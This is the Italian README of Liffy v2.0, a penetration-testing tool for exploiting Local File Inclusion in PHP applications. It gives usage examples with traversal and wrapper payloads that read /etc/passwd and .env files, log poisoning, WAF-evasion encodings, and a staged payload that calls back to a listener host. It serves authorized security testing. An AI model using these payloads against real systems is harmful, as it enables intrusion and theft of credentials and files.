
Strumento di sfruttamento dell'inclusione locale di file

Un potente strumento Python per lo sfruttamento di Local File Inclusion (LFI) con funzionalità avanzate tra cui bypass WAF, tecniche di codifica e rilevamento completo delle vulnerabilità.
Liffy v2.0 è la versione notevolmente migliorata di liffy, originariamente creato da rotlogix/liffy. Questa versione include funzionalità moderne come l'output terminale Rich, configurazione YAML, threading migliorato e molteplici tecniche di sfruttamento avanzate.
⚠️ Molte delle nuove modifiche sono state codificate "vibe".
Assicurati di utilizzare Python 3. Liffy non supporta Python 2. Gli esempi seguenti usano uv run python in modo che i comandi vengano eseguiti all'interno dell'ambiente del progetto.
# Installa uv se non lo hai già
curl -LsSf https://astral.sh/uv/install.sh | sh
# Clona il repository
git clone https://github.com/mzfr/liffy
cd liffy
# Crea un ambiente virtuale con uv
uv venv
# Installa le dipendenze da pyproject.toml
uv sync
# Esegui liffy
uv run python liffy.py --help
uv run python liffy.py <URL> [OPZIONI]
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
[-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
[--detection] [--null-byte] [--zip] [--encoding]
[--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
[--headers HEADERS] [--lhost LHOST] [--lport LPORT]
[--read-file READ_FILE] [-y] [--timeout TIMEOUT]
[--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
[--oob] [--oob-url OOB_URL] [--blind] [--blind-list BLIND_LIST]
[--auto] [--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
[--quiet] [--no-color] [--no-banner] [--config]
[url]
argomenti posizionali:
url URL da testare per LFI
Tecniche principali:
-d, --data Usa la tecnica data://
-i, --input Usa la tecnica input://
-e, --expect Usa la tecnica expect://
-f, --filter Usa la tecnica filter://
-p, --proc Usa la tecnica /proc/self/environ
-a, --access Tecnica dei log di accesso Apache
--ssh Avvelenamento log auth SSH
-dt, --directorytraverse Test per Directory Traversal
--null-byte Test per Null Byte Poisoning
--zip Test per sfruttamento wrapper ZIP
--wrappers, --wrapper Rileva i comuni stream wrapper LFI
--wrapper-list WRAPPER_LIST
Percorso verso un elenco personalizzato di payload di sonda per wrapper
--oob Invia sondaggi di callback out-of-band
--oob-url OOB_URL URL base di callback OOB
--blind Esegui controlli LFI ciechi basati su differenze di risposta
--blind-list BLIND_LIST
Percorso verso un elenco personalizzato di sonde LFI cieche
--auto Esegui un piano di scansione automatica sicuro
Opzioni avanzate:
--encoding Usa tecniche di codifica/bypass avanzate
--waf-bypass Usa tecniche di evasione WAF
--method {GET,POST} Metodo HTTP da utilizzare (default: GET)
--post-data POST_DATA Dati POST (formato: key=value&key2=value2)
--headers HEADERS Header personalizzati (formato: Header1:Value1,Header2:Value2)
--detection Esegui solo rilevamento LFI, nessuno sfruttamento
Opzioni richiesta:
--timeout TIMEOUT Timeout della richiesta HTTP in secondi
--proxy PROXY URL proxy HTTP(S), es. http://127.0.0.1:8080
--verify-tls Verifica i certificati TLS invece di usare richieste non sicure
--user-agent UA Header User-Agent personalizzato
--delay DELAY Ritardo tra le richieste in secondi
--retries RETRIES Tentativi HTTP per richiesta
Opzioni automazione:
--lhost LHOST Host di callback per payload staged
--lport LPORT Porta di callback per payload staged
--read-file PATH Percorso del file da leggere con filter://
-y, --yes Usa valori predefiniti per i prompt ed esegui in modo non interattivo
--json Stampa un riepilogo JSON dell'esecuzione
--output OUTPUT Scrivi il riepilogo JSON in un file
--quiet Sopprime l'output terminale normale
Opzioni generali:
-ns, --nostager Esegui direttamente il payload, non usare stager
-r, --relative Usa sequenze di path traversal per l'attacco
-l, --location LOCATION Percorso del file target (access log, auth log, ecc.)
--cookies COOKIES Cookie di sessione per autenticazione
-t, --threads THREADS Numero di thread da utilizzare (default: 5)
--no-color Disabilita output colorato
--no-banner Disabilita visualizzazione banner
--config Crea file di configurazione YAML predefinito
Crea un file di configurazione per impostazioni persistenti:
uv run python liffy.py --config
Questo crea liffy_config.yaml con impostazioni predefinite:
# File di configurazione Liffy
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0
Imposta disable_banner: true per nascondere il banner/logo iniziale per impostazione predefinita. I flag CLI sovrascrivono comunque i valori di configurazione, quindi puoi anche usare --no-banner, --no-color o --quiet per esecuzioni singole.
Puoi anche usare variabili d'ambiente:
LIFFY_THREADS - Numero di threadLIFFY_RATE_LIMIT - Ritardo del rate limitingLIFFY_NO_COLOR - Disabilita colori (true/false)Quando --waf-bypass è attivo, liffy applica automaticamente molteplici tecniche di evasione:
/**/, #, ;file:///, pHp://./, ../, byte nulliCon --encoding, liffy applica metodi di codifica avanzati:
%252e%252e%252f\u002e\u002e\u002f..%2F, ..%2f../# POST con dati del modulo
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"
# POST con header personalizzati
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"
# Invia traffico attraverso un proxy locale e riprova in caso di fallimenti transitori
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
--proxy "http://127.0.0.1:8080" --timeout 20 --retries 2
# Usa un User-Agent fisso e un ritardo personalizzato tra le richieste
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
--user-agent "liffy/2.0" --delay 0.5
uv run python liffy.py "http://example.com/page.php?file=" -d
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
--post-data "action=read&file=../../etc/passwd" \
--headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"
uv run python liffy.py "http://example.com/page.php?file=" -a
uv run python liffy.py "http://example.com/page.php?file=" --ssh
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"
uv run python liffy.py "http://example.com/page.php?file=" -d -r
uv run python liffy.py "http://example.com/page.php?file=" -dt
uv run python liffy.py "http://example.com/page.php?file=" --null-byte
uv run python liffy.py "http://example.com/page.php?file=" --zip
uv run python liffy.py "http://example.com/page.php?file=" --wrappers
Il rilevamento wrapper utilizza sonde predefinite sicure per file://, php://filter, data://, php://temp, php://memory e wrapper correlati. zip://, phar:// e glob:// sono trattati come informativi/condizionali perché di solito richiedono file lato target o un comportamento sink che esponga elenchi.
Puoi fornire un elenco personalizzato di payload per wrapper. Se --wrapper-list viene omesso, liffy ricade sulle sonde integrate:
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
--wrapper-list payload_wordlists/wrappers.txt
Ogni riga non vuota può essere un payload grezzo o nome=payload:
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini
uv run python liffy.py "http://example.com/page.php?file=" --oob \
--oob-url "https://example.oast.site"
Usalo con un listener di callback HTTP/DNS. Liffy invia payload in stile URL-wrapper e tu verifichi se il target richiama.
uv run python liffy.py "http://example.com/page.php?file=" --blind
I controlli ciechi confrontano sonde di file esistenti con baseline di file mancanti casuali e riportano differenze di stato, lunghezza o tempistica quando il contenuto non viene riflesso direttamente.
Puoi fornire un elenco personalizzato di sonde cieche. Se --blind-list viene omesso o è vuoto, liffy usa sonde integrate:
uv run python liffy.py "http://example.com/page.php?file=" --blind \
--blind-list payload_wordlists/blind_lfi.txt
Ogni riga non vuota può essere un payload grezzo o nome=payload:
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env
uv run python liffy.py "http://example.com/page.php?file=" --auto
--auto abilita il solo rilevamento di directory traversal, controlli wrapper e controlli ciechi. Se viene fornito anche --oob-url, include sonde OOB.
uv run python liffy.py "http://example.com/page.php?file=" \
-d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
--encoding --waf-bypass --detection
uv run python liffy.py "http://example.com/page.php?file=" -d \
--cookies "PHPSESSID=abc123; auth_token=xyz789"
uv run python liffy.py "http://example.com/page.php?file=" -d \
--lhost 10.10.14.2 --lport 4444 --yes
uv run python liffy.py "http://example.com/page.php?file=" -f \
--read-file /etc/passwd --yes
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
--output findings.json
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json
Le seguenti posizioni predefinite vengono utilizzate quando non viene specificato un percorso personalizzato:
/var/log/auth.log/var/log/apache2/access.log/var/log/httpd/access_logAccogliamo con favore i contributi! Ecco come puoi aiutare:
Sentiti libero di aprire un issue per qualsiasi domanda o suggerimento!
La modalità di rilevamento di Liffy fornisce un'analisi completa delle vulnerabilità:
/etc/passwd[+] RIEPILOGO VULNERABILITÀ
==================================================
[1] Vulnerabilità trovata
Payload: ../../etc/passwd
Confidenza: 85%
Prova: File /etc/passwd di Linux: root:
Codice stato: 200
Lunghezza contenuto: 1547
# Usa tecniche di bypass WAF
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass
# Riduci il numero di thread e aumenta i ritardi
uv run python liffy.py "http://target.com/lfi.php" -d -t 1
# Aumenta il ritardo nel file di configurazione
max_threads: 2
rate_limit_delay: 1.0
Per un output più dettagliato, puoi modificare la configurazione:
debug_mode: true
verbose_output: true
Liffy è progettato solo per test di sicurezza autorizzati.
Gli autori non sono responsabili per l'uso improprio di questo strumento.
Questo progetto è concesso in licenza sotto la GNU General Public License v3.0 - consulta il file LICENSE per i dettagli.